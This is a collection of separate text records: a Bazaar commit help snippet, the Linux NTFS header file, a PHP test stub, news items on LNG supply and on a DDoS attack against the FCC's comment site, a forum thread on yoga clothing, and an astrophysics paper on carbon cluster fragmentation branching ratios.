bzr commit --fixes <tracker>:<id>
For example,
bzr commit --fixes lp:1234 -m "Fixes bug #1234 will mark Launchpad bug #1234 as fixed. The "Fixes bug #1234" message does not mark the bug as fixed but it will link to the bug report when browsing the commit history in Launchpad.
|
{
"pile_set_name": "StackExchange"
}
|
/*
* ntfs.h - Defines for NTFS Linux kernel driver.
*
* Copyright (c) 2001-2014 Anton Altaparmakov and Tuxera Inc.
* Copyright (C) 2002 Richard Russon
*
* This program/include file is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License as published
* by the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program/include file is distributed in the hope that it will be
* useful, but WITHOUT ANY WARRANTY; without even the implied warranty
* of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program (in the main directory of the Linux-NTFS
* distribution in the file COPYING); if not, write to the Free Software
* Foundation,Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*/
#ifndef _LINUX_NTFS_H
#define _LINUX_NTFS_H
#include <linux/stddef.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/compiler.h>
#include <linux/fs.h>
#include <linux/nls.h>
#include <linux/smp.h>
#include <linux/pagemap.h>
#include "types.h"
#include "volume.h"
#include "layout.h"
typedef enum {
NTFS_BLOCK_SIZE = 512,
NTFS_BLOCK_SIZE_BITS = 9,
NTFS_SB_MAGIC = 0x5346544e, /* 'NTFS' */
NTFS_MAX_NAME_LEN = 255,
NTFS_MAX_ATTR_NAME_LEN = 255,
NTFS_MAX_CLUSTER_SIZE = 64 * 1024, /* 64kiB */
NTFS_MAX_PAGES_PER_CLUSTER = NTFS_MAX_CLUSTER_SIZE / PAGE_SIZE,
} NTFS_CONSTANTS;
/* Global variables. */
/* Slab caches (from super.c). */
extern struct kmem_cache *ntfs_name_cache;
extern struct kmem_cache *ntfs_inode_cache;
extern struct kmem_cache *ntfs_big_inode_cache;
extern struct kmem_cache *ntfs_attr_ctx_cache;
extern struct kmem_cache *ntfs_index_ctx_cache;
/* The various operations structs defined throughout the driver files. */
extern const struct address_space_operations ntfs_normal_aops;
extern const struct address_space_operations ntfs_compressed_aops;
extern const struct address_space_operations ntfs_mst_aops;
extern const struct file_operations ntfs_file_ops;
extern const struct inode_operations ntfs_file_inode_ops;
extern const struct file_operations ntfs_dir_ops;
extern const struct inode_operations ntfs_dir_inode_ops;
extern const struct file_operations ntfs_empty_file_ops;
extern const struct inode_operations ntfs_empty_inode_ops;
extern const struct export_operations ntfs_export_ops;
/**
* NTFS_SB - return the ntfs volume given a vfs super block
* @sb: VFS super block
*
* NTFS_SB() returns the ntfs volume associated with the VFS super block @sb.
*/
static inline ntfs_volume *NTFS_SB(struct super_block *sb)
{
return sb->s_fs_info;
}
/* Declarations of functions and global variables. */
/* From fs/ntfs/compress.c */
extern int ntfs_read_compressed_block(struct page *page);
extern int allocate_compression_buffers(void);
extern void free_compression_buffers(void);
/* From fs/ntfs/super.c */
#define default_upcase_len 0x10000
extern struct mutex ntfs_lock;
typedef struct {
int val;
char *str;
} option_t;
extern const option_t on_errors_arr[];
/* From fs/ntfs/mst.c */
extern int post_read_mst_fixup(NTFS_RECORD *b, const u32 size);
extern int pre_write_mst_fixup(NTFS_RECORD *b, const u32 size);
extern void post_write_mst_fixup(NTFS_RECORD *b);
/* From fs/ntfs/unistr.c */
extern bool ntfs_are_names_equal(const ntfschar *s1, size_t s1_len,
const ntfschar *s2, size_t s2_len,
const IGNORE_CASE_BOOL ic,
const ntfschar *upcase, const u32 upcase_size);
extern int ntfs_collate_names(const ntfschar *name1, const u32 name1_len,
const ntfschar *name2, const u32 name2_len,
const int err_val, const IGNORE_CASE_BOOL ic,
const ntfschar *upcase, const u32 upcase_len);
extern int ntfs_ucsncmp(const ntfschar *s1, const ntfschar *s2, size_t n);
extern int ntfs_ucsncasecmp(const ntfschar *s1, const ntfschar *s2, size_t n,
const ntfschar *upcase, const u32 upcase_size);
extern void ntfs_upcase_name(ntfschar *name, u32 name_len,
const ntfschar *upcase, const u32 upcase_len);
extern void ntfs_file_upcase_value(FILE_NAME_ATTR *file_name_attr,
const ntfschar *upcase, const u32 upcase_len);
extern int ntfs_file_compare_values(FILE_NAME_ATTR *file_name_attr1,
FILE_NAME_ATTR *file_name_attr2,
const int err_val, const IGNORE_CASE_BOOL ic,
const ntfschar *upcase, const u32 upcase_len);
extern int ntfs_nlstoucs(const ntfs_volume *vol, const char *ins,
const int ins_len, ntfschar **outs);
extern int ntfs_ucstonls(const ntfs_volume *vol, const ntfschar *ins,
const int ins_len, unsigned char **outs, int outs_len);
/* From fs/ntfs/upcase.c */
extern ntfschar *generate_default_upcase(void);
static inline int ntfs_ffs(int x)
{
int r = 1;
if (!x)
return 0;
if (!(x & 0xffff)) {
x >>= 16;
r += 16;
}
if (!(x & 0xff)) {
x >>= 8;
r += 8;
}
if (!(x & 0xf)) {
x >>= 4;
r += 4;
}
if (!(x & 3)) {
x >>= 2;
r += 2;
}
if (!(x & 1)) {
x >>= 1;
r += 1;
}
return r;
}
#endif /* _LINUX_NTFS_H */
|
{
"pile_set_name": "Github"
}
|
<?php
App::uses('DboSource', 'Model/Datasource');
class DboDummy extends DboSource {
public function connect() {
return true;
}
}
|
{
"pile_set_name": "Github"
}
|
Petronas could overhaul Qatar in flexible LNG
Kuala Lumpur : Consultants Wood Mackenzie reckon that by 2020, Malaysia has the potential to be the largest supplier of flexible LNG to the global market, larger even than Qatar. The supply capacity of Malaysia’s Petronas is growing through new capacity additions in eastern Malaysia as well as Canada, offtake agreements with other suppliers and projects such as GLNG in Australia.
Its supply potential could grow by over 55%, from 27m tonnes per annum (mmtpa) in 2013 to 42 mmtpa in 2022, Wood Mackenzie said in a report yesterday. Some of this new capacity is committed to buyers, but some is not. In addition, some of its existing commitments to buyers will expire over the next 10 years.
Wood Mackenzie’s analysis suggests that Petronas's flexible LNG volume will grow from 2.5 mmtpa in 2013 to 26 mmtpa in 2022. By contrast Wood Mackenzie estimates that Qatar’s flexible LNG volumes in 2013 were 20 mmtpa. Whether Qatar or Malaysia will have the biggest flexible volume in 2022 will depend on their contracting strategy in the interim. Wood Mackenzie’s Asia gas research analyst, Chong Zhi Xin, said, "In addition to challenging Qatar, Malaysia’s growing volume of uncontracted LNG will provide strong supply competition for new LNG projects, such as from the US, Canada and East Africa.” [27/08/14]
|
{
"pile_set_name": "Pile-CC"
}
|
John Oliver's passionate appeal to get citizens to complain to the Federal Communications Commission on behalf of net neutrality may have provoked a cyberattack on the government website.
On Sunday's broadcast of HBO's "Last Week Tonight," Oliver ran an impassioned segment (for the second time in his career) on the topic of net neutrality, and why it was necessary for all internet traffic to be treated equally. He called on viewers to comment on the topic using GoFCCYourself.com, which redirected to the official "Restoring Internet Freedom" FCC proceeding.
Among the deluge of commentators were more sinister actors who took down the site, the FCC said.
"Beginning on Sunday night at midnight, our analysis reveals that the FCC was subject to multiple distributed denial-of-service attacks ( DDos )," FCC Chief Information Officer David Bray said in a statement.
"These were deliberate attempts by external actors to bombard the FCC's comment system with a high amount of traffic to our commercial cloud host. These actors were not attempting to file comments themselves; rather they made it difficult for legitimate commenters to access and file with the FCC. While the comment system remained up and running the entire time, these DDoS events tied up the servers and prevented them from responding to people attempting to submit comments. We have worked with our commercial partners to address this situation and will continue to monitor developments going forward."
DDoS attacks occur when sites are bombarded with fake requests, causing the system to overload. As a result, real users trying to access the website cannot go through.
"Neither 'Last Week Tonight' nor HBO were involved in any DDoS attack against the FCC website on Sunday night," HBO said in a statement.
See the "Last Week Tonight" segment below.
|
{
"pile_set_name": "OpenWebText2"
}
|
CHRISTY TURLINGTON has added to her design portfolio with a new range of yoga wear . Having launched Nuala, with the help of Puma, almost four years ago, the New York-based mother-of-one has now come up with Mahanuala, which is supposed "to complement Nuala, the [first] yoga-inspired collection. Mahanuala's similar sensibility addresses the more technical needs of a true yoga practice. It's apparel created specially for the practice of Asanas, the physical limb of yoga." Turlington, who will launch the new range on March 31, has elected to donate some of the profits from its first sales to Tibet House, New York's famous yoga and meditation retreat centre. (March 23 2004, AM)
Originally posted by Atelier@Mar 23rd, 2004 - 2:33 pm There's no way I'd ever be able to concentrate if Christy Turlington and I were in the same yoga studio. Maybe if Mahanuala made blinkers like they put on horses so I could only see straight ahead.
I just read the launch party will be where Twilo (R.I.P.) used to be. Ah, memories!
It's cheaper! I got the impression since it was more "technical" it would be higher priced.
WWD Thursday March 25, 2004
Turlington Stretches Into Mahanuala
NEW YORK — Yogawear is worn just as often these days by women out for brunch as those who are sweating it out in the yoga studio. But Christy Turlington Burns’ new yoga collection is designed for those who actually know how to do the downward dog pose. She’s expanding her yoga-inspired, Puma-backed Nuala line with a new collection called Mahanuala, created for the practice of Asanas, a term referring to the physical postures used in yoga.
“While the collection looks stylish, it is made to sustain rigorous physical activity,” said the model-cum-entrepreneur, who will launch the collection at an event in New York on March 31. Mahanuala, also made by Puma in collaboration with Turlington, includes a wide range of T-shirts, bright-colored tank tops, cargo shorts, leggings and capri pants as well as footwear and some accessories, with wholesale prices ranging from about $20 to $35. This is below the core Nuala offerings, which primarily wholesale for between $35 and $60, and go up to around $150 for some of the outerwear.
Nuala launched four years ago, and is now sold in about 40 stores, including Henri Bendel and 45-10 in Dallas, and and features luxury fabrics such as cashmere and thick knits. Company executives declined to give sales figures for Nuala or projections for the new line, however, Puma said it will donate the first 2 percent of sales to Tibet House in New York. — M.K.
Christy sporting pieces from the new line, plus extracts from wwd article:
New mom Christy Turlington said her five-month-old daughter, Grace, is a yoga natural. “She can teach me a few things,” the model-turned-entrepreneur quipped at a party Wednesday night to introduce her new Mahanuala yoga collection. “She is so flexible.” Turlington, who is so devoted to yoga that she did headstands when she was in her eighth month of pregnancy, is selling her new Puma-produced collection exclusively on amazon.com for the next six months.
|
{
"pile_set_name": "Pile-CC"
}
|
---
author:
- 'M. Chabot, T. Tuna, K. Béroff , T. Pino, A. Le Padellec, P. Désequelles, G. Martinet, V. O. Nguyen-Thi, Y. Carpentier, F. Le Petit, E. Roueff,'
- 'V. Wakelam'
date: 'Received 18 May 2010 / Accepted 3 August 2010'
subtitle:
title: ' Statistical universal branching ratios for cosmic ray dissociation, photodissociation, and dissociative recombination of the C$_{\rm n=2-10}$, C$_{\rm n=2-4}$H and C$_3$H$_2$ neutral and cationic species'
---
Introduction
============
Carbon clusters and highly unsaturated hydrocarbons are among the molecules most often observed in the Inter Stellar Medium (ISM) (http://astrochemistry.net). They are present in diffuse clouds , in dense clouds [@1999ApJ...518..740B; @2001ApJ...552..168F; @2000ApJ...542..870D], in circumstellar envelopes [@2002ApJ...580L.157C], protostar envelopes [@2008ApJ...672..371S], planetary nebula [@2001ApJ...546L.123C] and in photon dominated regions (PDR) . They are also present around evolved (carbon) stars [@1988Sci...241.1319H], in the Titan ionosphere or in comet commae . Since their discovery in the early 70’s, many studies have been devoted to those species [@VanOrden1998], mostly on their structural and spectroscopic properties. The spectroscopic studies were pushed mainly by the dramatically increasing performances of the observation capabilities, while for the structural studies it was also driven by the increasing use of carbon$-$based materials.
The origin of carbon clusters and highly unsaturated hydrocarbons and their abundances in the ISM objects is still a puzzling question. It is thought that they may come from gas$-$phase synthesis as well as be released into the gas$-$phase of carbonaceous solid materials that are present in the ISM. Therefore the detailed investigation of their origin and abundances requires homogeneous and heterogeneous chemical reactions to be explored. Whatever the carbon reservoir, those molecules are processed in the gas phase by neutral$-$neutral and ion$-$neutral collisions as well as cosmic rays (CR), ultra violet (UV) photons and dissociative recombination (DR) from collisions with the thermal electrons. These last three mechanisms lead to highly electronically excited species that may undergo fragmentation. The detailed dynamics and the fragmentation channels have thus to be investigated to enable their incorporation into various astrochemical models.
In gas phase chemistry, chemical networks for carbon clusters and highly unsaturated hydrocarbons synthesis have been proposed for a large variety of astrophysical conditions . Nevertheless, despite the strong theoretical and experimental efforts in structure and spectroscopy, many of the reaction rates still remain uncertain and may consequently limit the confidence in chemical models.
It is convenient to write the reaction rate coefficient for a reaction A+B $ \rightarrow$ C+D as the product of a total reaction rate coefficient $k_{tot}$ and a branching ratio factor (BR)
$$\rm k[A+B \rightarrow C+D] = k_{tot}[A+B \rightarrow (AB)^\ast] \times BR[(AB)^\ast \rightarrow C+D] .$$
The reliability of the reaction rate may be improved when the total rate and BR are independently predicted. Most of the reaction rates are sensitive to the surrounding medium (temperature and photon spectrum for instance). In Eq. (1) this dependency is implicitly included in the total rate, whereas BRs are assumed to be constant. This assumption of constant BRs may however be inappropriate for some reactions as for example, neutral$-$neutral or ion$-$neutral reactive collisions where energy barriers can be present. For electronic excitation mechanisms followed by dissociation that occur in the ISM, the intermediate complex AB is appropriately described by an ensemble of molecules prepared in various highly exited electronic states. It has been pointed out several times that this physical situation fits the requirements of statistical theory concepts very well . In the particular case of small species, non$-$statistical mechanisms need also to be considered because the density of states is generally not high enough, even if high$-$energy excitations are involved. Non$-$statistical behavior may also arise in rare photodissociation situations, where a dissociative state is resonant with a discrete line from a local photon source [@1988rcia.conf...49V].
In the first part of this paper we will report on measured BRs after electronic excitations that take place in a high$-$velocity collision experiment. In the second part we will introduce through the comparison between the different processes that are responsible for the electronic excitations in the ISM, the idea of statistical universal BR for cosmic$-$ray$-$induced dissociation, photodissociation, and dissociative recombination processes. We will then propose to correct BRs of current online databases (OSU [^1], UMIST [^2]) when they are not resulting from measurements or detailed calculations. In a last part we will observe the influence of the new branching ratios on two typical astrochemical models that are aimed to simulate the dense clouds and the Horse Head PDR.
Fragmentation of C$_{\rm n=2-10}$, C$_{\rm n=2-4}$H and C$_3$H$_2$ molecules that are electronically excited by high$-$velocity collision
==========================================================================================================================================
Experimental set-up
-------------------
The experimental set-up has already been described in detail in previous papers [@2002NIMPB.197..155C; @2008JChPh.128l4312T] and only a brief description is given here. Tandem MP (15 MVolts) accelerator at the Institut de Physique Nucléaire d’Orsay produced molecular cationic beams of several MeV of energy [@1996NIMPA.382..348W]. After magnetic analysis and collimation, singly charged molecules collided at high velocity (few a.u.) with a single target atom. Half a meter downstream, a parallel$-$plates electrostatic deflector analyzed parents and fragments with respect to their q/m ratio. A set of silicon detectors intercepted all the trajectories in a dedicated chamber. It is because of their high velocity that parent and fragments may be detected with silicon detectors. This type of detector enables the measurement of the kinetic energy of the particle, i.e., with high$-$energy molecular beams of constant velocity, the mass of the detected molecule. Moreover, silicon detectors are 100% efficient and, owing to the kinematics, small detector sizes can cover 100% of the solid angle for fragments emission. All the detectors are operating in coincidence, event by event. To get branching ratios on neutral species, the grid technique [@PhysRevLett.26.602; @Larsson1995403] may be used when the number of channels is small. In this method, a grid of known transmission is placed in front of the detector. Branching ratios of dissociation are linked to the recorded mass spectra through a set of linear equations. In the present work, because high$-$energy molecular beams were used, the shape of the current signal from silicon detectors could be analyzed to resolve a pile-up of several neutral fragments [@2002NIMPB.197..155C]. However, this technique was insufficient to get the whole information for the hydrogenated species. The grid technique was then mixed with a signal shape analysis to finally fully resolve the fragmentation of neutral and cationic C$_{\rm n}$, C$_{\rm n}$H, and C$_3$H$_2$ species [@2008JChPh.128l4312T].
High$-$velocity collision (HVC) processes
-----------------------------------------
### The excitation processes
![Internal energy distributions following HVC-charge transfer (see text). Thick solid line: C$_2$H, dotted line: C$_3$H, broken line: C$_4$H, thin solid line: C$_3$H$_2$. Peak energies and widths of distributions may be regarded with errors on the order of a few ev. Details on the method of extraction are given in [@2008JChPh.128l4312T].[]{data-label="fig1"}](15010fg1.ps){width="0.7\linewidth"}
![Internal energy distributions following HVC-excitation (see text). Solid line: C$_2$H$^+$, dotted line: C$_3$H$^+$, broken line: C$_4$H$^+$, dot-dashed line: C$_3$H$_2^+$. Peak energies and widths of distributions may be regarded with errors on the order of a few ev. Details on the method of extraction are given in [@2008JChPh.128l4312T].[]{data-label="fig2"}](15010fg2.ps){width="0.7\linewidth"}
During the fast ($\sim 10^{-16}$ s) collision between a molecule X and an atom, charge transfer (HVC - CT) may occur: $$\rm X^+ + He \rightarrow X^* + He^+$$ Owing to the high initial velocity of the transferred electron, electronically excited states as well as the ground state are populated [@2006JPhB...39.2593C]. Until now no calculations have been performed to predict the internal energy distribution associated with this process. Nevertheless, internal energy distributions may be deduced for the present species from experimental multiplicity distribution, i.e. probabilities associated with a given number of emitted fragments [@2008JChPh.128l4312T]. Some internal energy distributions are reported in Fig. \[fig1\].
In addition excitation (HVC - E) may also occur during the collision. $$\rm X^+ + He \rightarrow X^{+*} + He$$
Let us note in this velocity regime that only electronic excitations take place [@1998NIMPB.146...29W]. Calculations of internal energy following HVC-E have been performed through independent atom and electron model [@1993PhRvA..48.4784W] using doubly differential probabilities with the energy and impact parameter calculated within the classical trajectory monte carlo (CTMC) theory [@1999Maynard]. These calculated distributions agree very well with the energy distributions shown in Fig. \[fig2\], wich are deduced from experimental multiplicity distributions. Ionization is also ocuring in HVC. In the present experiments with cationic beams it leads to multiply charged species which are generally also electronically excited [@PhysRevLett.104.043401]. We will not report on the fragmentation of these multiply charged species, because this is out of the scope of this paper.
### Fragmentation of electronically excited species by high$-$velocity collision
![ Theoretical fragmentation BRs as a function of internal excitation energy for a C$_7$ carbon cluster. Calculations were performed with the MMMC statistical theory [@2006IJMSp.252..126D].[]{data-label="fig3"}](15010fg3.ps){width="0.85\linewidth"}
![C$_7$ calculated BRs with various internal energy distribution. The BRs were obtained by convolution of theoretical curves of Fig. \[fig3\] with the gaussian energy distribution: $\rm p(E) = \frac{1}{\sigma\sqrt{2\pi}}\exp(-\frac{1}{2}(\frac{E-E_0}{\sigma})^2)$. The BRs are normalized to the multiplicity probability. Solid lines: $\sigma$ = 2 eV dotted lines: $\sigma$ = 5 eV.a) BR for two fragments breakup: triangles up: C$_4$/C$_3$, squares: C$_5$/C$_2$, circle: C$_6$/C. b) BR for three fragments breakup: hexagons: C$_3$/C$_3$/C, circle: C$_3$/C$_2$/C$_2$, triangle down: C$_4$/C$_2$/C and C$_5$/C/C. []{data-label="fig4"}](15010fg4_bis.eps){width="0.5\linewidth"}
Statistical hypothesis has been proposed and often applied to calculate the fragmentation of finite size systems. It stipulates that all accessible micro-states are equiprobably populated, and conservations of energy and momentum define which these micro-states are. Their ensemble is forming a so-called phase space. Theoretical predictions have to rely on numeration of individual states or integration in the phase-space. Two physical situations are presumably close to the statistical behavior. In the first one, the system gets enough time to explore all the phase space whatever the bottlenecks in this random exploration. In the second physical situation, the system has no time to explore the whole phase space, but is prepared in such a large set of initial states that sampling of the phase space is presumably achieved by the entrance channels. Fragmentation of molecules that are electronically excited by HVC processes are clearly related to the second scenario and therefore can generally be interpreted in the frame of a statistical theory. For example, a statistical theory of fragmentation, the microcanonical metropolis monte carlo (MMMC) [@1995ZPhyD..35...27G], has been applied to the carbon clusters C$_{\rm n}$ and found to agree very well with the experimental measurements [@2004PhRvL..93f3401M].
For C$_{\rm n}$, C$_{\rm n}$H, and C$_3$H$_2$ the creation of each fragment costs roughly the same amount of energy (4-7 eV [^3]). Therefore the fragmentation BRs exhibit specific energy domains associated to a given multiplicity (see Fig. \[fig3\]). Normalizing the branching ratios to multiplicity probabilities somehow vanishes the role of the input energy on BRs. To illustrate this point, we present in Fig. \[fig4\] the calculated BRs for C$_7$. They were obtained by convolution of the theoretical curves of the Fig. \[fig3\] with Gaussian shapes centered at energies from 0 to 15 eV.The variations are found to be small, i.e. within $\pm$ 10$\%$ . It shows that as long as phase space scrambling is achieved, normalized BRs are mostly insentive to the internal energy distribution, unlike the multiplicity distributions.
Experimental results and analysis
---------------------------------
![Experimental branching ratios of neutral C$_3$H$_2$ produced in HVC-CT reaction at a fixed number of emitted fragments (N$_{\rm f}$) from left to right (N$_{\rm f}$) = 2, 3, 4.[]{data-label="fig5"}](15010fg5.ps){width="1\linewidth"}
![Experimental branching ratios of C$_3$H$_2^+$ produced in HVC-E reaction at a fixed number of emitted fragments (N$_{\rm f}$) from left to righ (N$_{\rm f}$) = 2, 3, 4.[]{data-label="fig6"}](15010fg6.ps){width="1\linewidth"}
N$_{\rm f}$ Proba ($\pm$ err)
------------- -------------------
1 0.16 (0.05)
2 0.43 (0.07)
3 0.28 (0.08)
4 0.08 (0.03)
5 0.05 (0.01)
: Probability of dissociation of C$_3$H$_2$ produced in HVC-CT reaction as a function of number of the emitted fragments (N$_{\rm f}$).N$_{\rm f}$=1 corresponds to non$-$dissociative HVC-CT.
\[Tab1\]
N$_{\rm f}$ Proba ($\pm$ err)
------------- -------------------
2 0.34 (0.02)
3 0.43 (0.03)
4 0.19 (0.08)
5 0.05 (0.01)
: Probability of dissociation of (C$_3$H$_2^+$)\* produced in HVC-E reaction as a function of number of the emitted fragments (N$_{\rm f}$). Non$-$dissociative excited species are not detected in the experiment.
\[Tab2\]
Results for C$_3$H$_2$ fragmentation (multiplicity distribution: Table \[Tab1\], BR: Fig. \[fig5\]) and C$_3$H$_2^+$ (multiplicity distribution: Table \[Tab2\], BR: Fig. \[fig6\]) have been recently obtained. Detailed physical discussion on this species will be done elsewhere. Note that the detachment of one or two hydrogens is the most favorable channel. Fragmentation results for C$_{\rm n}$ and C$_{\rm n}$H species can be found elsewhere [@2004PhRvL..93f3401M; @2006IJMSp.252..126D; @2008JChPh.128l4312T].A subset of these results are shown in Figs. \[fig7\] to \[fig9\]. Briefly, the most favorable channels were found to be H production for C$_{\rm n}$H and C$_3$ production for C$_{\rm n}$. These channels are indeed the most exothermic ones. For C$_{\rm n}$, C$_3$ is a magic number because of the shell closure [@VanOrden1998].
Application of HVC fragmentation branching ratios in astrochemical reaction networks
====================================================================================
Statistical fragmentation relevance in the context of ISM chemistry
-------------------------------------------------------------------
![Comparison between a two fragments breakup after dissociative recombination (DR) (blue diamonds) and HVC-CT (red hexagons - this work). DR$-$BR are adapted from @2004PCCP....6..949E for C$_2$H; @Angelova20047 for C$_3$H, C$_3$H$_2$; @Angelova2004195 for C$_4$H and @heber:022712 for C$_4$. The parenthesis on Y$-$axis labels mean that hydrogen may be localized on either of the two fragments in DR experiments.[]{data-label="fig7"}](15010fg7.ps){width="0.9\linewidth"}
Three physical processes are involved in the creation of transient molecular electronically excited species in ISM [@1984inch.book.....D]. They are HVC with cosmic rays and secondary electrons [@1968ApJ...152..971S], photoabsorption in the various local radiation fields [@1984inch.book.....D], and recombination between molecular ions and thermal electrons in the local plasma [@2003guberman]. The two latter processes are generally dominating, except perhaps in dark clouds where CR$-$induced secondary electrons may have a significant contribution [@1983ApJ...267..603P; @1987ApJ...323L.137G].
Because of the energy and momentum conservation laws the internal energy, in the electronic recombination process, should be close to the neutral species ionization potential (IP). In hydrocarbon molecules, the IP is always higher than the dissociation energy (DE). Then, fragmentation will occur rapidly for small size molecules, as compared to radiative deexcitation. According to the IP values [8 to 12 eV; @VanOrden1998] and DE [4 to 7 eV; @2006IJMSp.252..126D; @2008JChPh.128l4312T], the channels that lead to two fragments are expected to be the most populated.
Statistical fragmentation may be invoked in the dissociative recombination process because there are always many electronically excited states close to the IP in carbon and hydrocarbon molecules [@2008CP....343..292V]. As a result a rather efficient sampling of the phase space should be performed in the entrance channels, and dissociative recombination BRs should be governed by a statistical fragmentation as in HVC. Figure 7 shows a comparison between HVC-CT and DR results for C$_4$, C$_2$H, C$_3$H, C$_4$H, and C$_3$H$_2$. Some of those results (C$_3$H and C$_4$) are not BR but a summation of BRs. Indeed, a resolution of C-H bond breaking is not always achieved in DR experiments nearby storage ring facilities due to the limitation of the grid method (see experimental section). The DR data agree with HVC-CT data within $\pm$ 10$\%$ on average. This small discrepancy arises because the internal energy distributions are quite different between HVC-CT (large distributions) and DR (narrow distribution around IP). An exception is seen in C$_2$H, where the agreement is poor. It may come from a non$-$statistical behavior of the fragmentation for a triatomic molecule this small.\
![Comparison between a two fragments$-$breakup after photodissociation (black triangles) and HVC-CT (red hexagons - this work). The BRs for photodissociation are adapted from [@2000JPC] measurements. []{data-label="fig8"}](15010fg8_bis.eps){width="0.9\linewidth"}
![Comparison between a two fragments$-$breakup after photodissociation (triangles) and HVC-E (hexagons - this work). The BRs for photodissociation are adapted from [@1986ZPhyD...3..309G] []{data-label="fig9"}](15010fg9.ps){width="0.9\linewidth"}
In the ISM, molecules are photo-dissociated and photo-ionized because of the absorption of UV photons. These UV photons are produced by nearby stars. The interstellar standard radiation field (ISRF) embedding the gas in the Galaxy has been determined by Draine [@1978ApJS...36..595D]. In star$-$forming regions, the UV flux is the sum of the ISRF plus the emission spectra of the nearby stars. UV photons are absorbed in the continuum by dust and via discrete lines of the most important molecules. Photo-absorption rates thus depend on the optical depth. In the interior of dense clouds, UV photons are produced by the excitation in Lyman and Werner electronic states of molecular hydrogen by CR$-$secondary electrons [@1983ApJ...267..603P].
Taking into account the strong density of electronically excited states for the carbon and hydrocarbon molecules in the 6-11 eV energy range [@2008CP....343..292V], many electronic transitions are expected to occur, resulting in a wide distribution of prepared excited states. Then fragmentation, as for HVC and DR, is expected to be governed by statistical behavior. Figure 8 presents fragmentation BR for C$_4$, C$_5$, and C$_6$ carbon clusters obtained by photodissociation and those from HVC-CT. In the reported photodissociation experimental results [@2000JPC], the incident photon energy has been varied up to 6 eV with some contribution of multi-photon absorption. The horizontal bars on these measurements correspond to a variation of the BRs with the different photon energies. One observes agreement within $\pm$ 10$\%$ between photodissociation and HVC-CT BR. Note that these photodissociation experiments were favorably compared to statistical calculations [@2000JPC]. Figure 9 presents the same comparison for cationic C$_n^+$ (n= 5 to 10) species. Photodissociation was produced by single and runaway multiphoton absorption [@1991JChPh..95.4719S; @1986ZPhyD...3..309G]. Therefore, those results have to be considered with caution. Inside the above restrictions, the BRs from photodissociation and HVC-E processes still agree also quite well.
In view of the above comparisons, a universality of statistical BRs may be proposed. In order to take into account the particularity of the different electronic processes, an error bar (1 $\sigma$) of $\pm$ 10$\%$ seems reasonable to apply.
New BRs for astrochemistry databases
------------------------------------
Reactants Total rate (10$^{3}$ s$^{-1}$) (OSU-01-2007) Products HVC-SUBR OSU-01-2007-BR
----------------- ---------------------------------------------- ---------------- ---------- ----------------
C$_2$H + cr 5.0 C$_2$ + H 0.81 1.00
C+CH 0.19 0.00
C$_3$H + cr 5.0 C$_3$ + H 0.65 1.00
C$_2$H + C 0.33 0.00
C$_2$ + CH 0.02 0.00
C$_4$ + cr 1.0 C$_3$ + C 0.77 1.00
C$_2$ + C$_2$ 0.23 0.00
C$_3$H$_2$ + cr 5.0 C$_3$H + H 0.46 1.00
C$_3$ + H$_2$ 0.24 0.00
C$_2$H$_2$ + C 0.23 0.00
C$_2$H + CH 0.04 0.00
C$_2$ + CH$_2$ 0.03 0.00
C$_4$H + cr 5.00 C$_4$ + H 0.58 1.00
C$_3$H + C 0.26 0.00
C$_3$ + CH 0.00 0.00
C$_2$H + C$_2$ 0.16 0.00
C$_5$ + cr 1.00 C$_4$ + C 0.13 1.00
C$_3$ + C$_2$ 0.87 0.00
C$_6$ + cr 1.00 C$_5$ + C 0.09 1.00
C$_4$ + C$_2$ 0.11 0.00
C$_3$ + C$_3$ 0.80 0.00
C$_7$ + cr 1.00 C$_6$ + C 0.01 1.00
C$_5$ + C$_2$ 0.19 0.00
C$_4$ + C$_3$ 0.80 0.00
C$_8$ + cr 1.00 C$_7$ + C 0.03 1.00
C$_6$ + C$_2$ 0.01 0.00
C$_5$ + C$_3$ 0.90 0.00
C$_4$ + C$_4$ 0.06 0.00
C$_9$ + cr 1.00 C$_8$ + C 0.00 1.00
C$_7$ + C$_2$ 0.06 0.00
C$_6$ + C$_3$ 0.66 0.00
C$_5$+C$_4$ 0.28 0.00
: New HVC-SUBR for CR reactions. Total rates and BR of OSU-01-2007 ( http:www.eric/o.html) are also reported. We do not report on C$_{10}$ because this reaction is not included in OSU-01-2007.
\[tab3\]
Reactants Total rate (10$^{-7}$ cm$^{3}$ s$^{-1}$) (OSU-01-2007) Products HVC-SUBR OSU-01-2007-BR
---------------------- -------------------------------------------------------- ---------------- ---------- ----------------
C$_3$H$^+$ + e$^-$ 3.0 C$_3$+H 0.65 0.50
C$_2$H+C 0.33 0.50
C$_2$ + CH 0.02 0.00
C$_3$H$_2^+$ + e$^-$ 3.6 C$_3$H + H 0.46 0.42
C$_3$ + H$_2$ 0.23 0.42
C$_2$H$_2$ + C 0.24 0.08
C$_2$H + CH 0.04 0.00
C$_2$ + CH$_2$ 0.04 0.08
C$_4$H$^+$ + e$^-$ 3.00 C$_4$ + H 0.58 0.40
C$_3$H + C 0.26 0.15
C$_3$ + CH 0.00 0.15
C$_2$H + C$_2$ 0.16 0.30
C$_5^+$ + e$^-$ 3.00 C$_4$ + C 0.13 0.50
C$_3$ + C$_2$ 0.87 0.50
C$_6^+$ + e$^-$ 20.00 C$_5$ + C 0.09 0.50
C$_4$ + C$_2$ 0.11 0.50
C$_3$ + C$_3$ 0.80 0.00
C$_7^+$ + e$^-$ 23.00 C$_6$ + C 0.01 0.43
C$_5$ + C$_2$ 0.19 0.43
C$_4$ + C$_3$ 0.80 0.14
C$_8^+$ + e$^-$ 20.00 C$_7$ + C 0.03 0.50
C$_6$ + C$_2$ 0.01 0.50
C$_5$ + C$_3$ 0.90 0.00
C$_4$ + C$_4$ 0.06 0.00
C$_9^+$ + e$^-$ 20.00 C$_8$ + C 0.00 0.50
C$_7$ + C$_2$ 0.06 0.50
C$_6$ + C$_3$ 0.66 0.00
C$_4$ + C$_4$ 0.28 0.00
C$_{10}^+$ + e$^-$ 20.00 C$_9$ + C 0.01 0.50
C$_8$ + C$_2$ 0.01 0.50
C$_7$ + C$_3$ 0.70 0.00
C$_6$ + C$_4$ 0.03 0.00
C$_5$ + C$_5$ 0.25 0.00
